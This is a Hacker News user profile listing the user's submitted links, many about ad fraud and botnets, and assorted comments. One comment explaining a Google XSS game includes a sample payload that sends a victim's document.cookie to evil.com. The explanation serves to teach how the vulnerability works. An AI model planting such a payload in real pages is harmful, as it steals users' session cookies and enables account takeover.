HN user

blahpro

568 karma

http://benhodgson.com/

Posts21
Comments68
View on HN
googleonlinesecurity.blogspot.com 11y ago

Working Together to Filter Automated Data-Center Traffic

blahpro
2pts0
spider.io 12y ago

How to Defraud Display Advertisers with Zeus

blahpro
61pts9
www.forbes.com 12y ago

The Creepy Ad Firm That's Charging For YouTube Ads That Aren't Supposed To Exist

blahpro
2pts0
www.businessinsider.com 13y ago

This Epic 3D Diagram Explains How Online Ad Fraud Actually Works

blahpro
1pts0
www.adweek.com 13y ago

Alphabird, Digimogul: Tell us Who's Behind the Botnet

blahpro
1pts0
www.spider.io 13y ago

Discovered: Botnet Costing Display Advertisers over $6,000,000 per Month

blahpro
128pts87
www.adweek.com 13y ago

Meet the Most Suspect Publishers on the Web

blahpro
6pts1
spider.io 14y ago

Startups Acquiring Startups for Equity

blahpro
4pts1
spider.io 14y ago

The first spider.io physical hackday: bar-building

blahpro
1pts0
challenge.spider.io 14y ago

Show HN: A Treasure Hunt for Hackers

blahpro
3pts0
spider.io 14y ago

Extreme Architecting

blahpro
4pts0
spider.io 14y ago

The Problem With Client-Side Analytics

blahpro
37pts27
js1k.com 15y ago

JS1k: Christmas Edition

blahpro
5pts0
zeus.ugent.be 15y ago

Markov chain tweets

blahpro
1pts0
www.nytimes.com 16y ago

Jailbreaking now exempt from DMCA non–circumvention legislation

blahpro
5pts0
www.bbc.co.uk 16y ago

Behind the scenes of BBC iPlayer

blahpro
2pts0
www.tuaw.com 16y ago

Apple Announces WWDC 2010: June 7th - 11th

blahpro
2pts0
www.ippio.com 16y ago

"The state of the Twitter ecosystem: a developer's perspective"

blahpro
1pts0
www.yuiblog.com 16y ago

Crockford on JavaScript — Vol. 1: The Early Years

blahpro
3pts0
probablyinteractive.com 16y ago

Letter to Steve Jobs

blahpro
142pts45
blog.zacharyvoase.com 16y ago

Why Mercurial is greater than Git, or How I Learned To Stop Censoring Mys....

blahpro
1pts1

Nothing compared to loss of life and suffering of the Ukrainian people of course, but: this is sad.

From the article: "It will cost over USD3 billion to restore the plane [...]".

This seems extremely high. I'd expect maybe high hundreds of millions. I appreciate that they're hardly like-for-like, but the A380 unit cost was something like $400M, which I think has maybe double the tonnage of the An-225. Where does the extra couple of billion come from?

Chip and PIN 11 years ago

Interesting article, but would greatly benefit from a "TL;DR" summary at the top.

Google's XSS game 12 years ago

Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.

Molly's books were what really got me started with web development. She was kind enough to send me a signed copy of one of her books when I was probably ~13 years old after emailing her. About ten years later, I was able to meet up with her here in the UK for a coffee, which was lovely.

If you can, please support Molly's treatment with a donation. Thank you.

My guess: many CDNs allow you to exclude the querystring from the cache key, so it's possible that one person requested the URL with ?torrent in the querystring (which causes S3 to serve a .torrent response) and that the request hit a cold cache. The response with type application/x-bittorrent was then cached under the querystring-less cache key, causing it to be served to anyone else hitting that edge node with the path /widgets/tweet_button.html.

Again: this is just my guess.

This looks like a really useful tool, although the automatic importing of anything that smells like a module makes me a little uncomfortable:

    modules = re.findall(r'([\w.]+)+(?=\.\w+)\b', all_text)
then later:
    for m in modules:
      try:
          key = m.split('.')[0]
          self[key] = __import__(m)
      except:
          pass

You could achieve this entirely statelessly (i.e. without a database) by encoding the task name in the URL. This is the sort of feature that could fuel growth by encouraging sharing :)

I misread this as "meatballs". Needless to say, this was not what I was expecting ;-). I like the effect. I wonder what meta-metaballs would look like...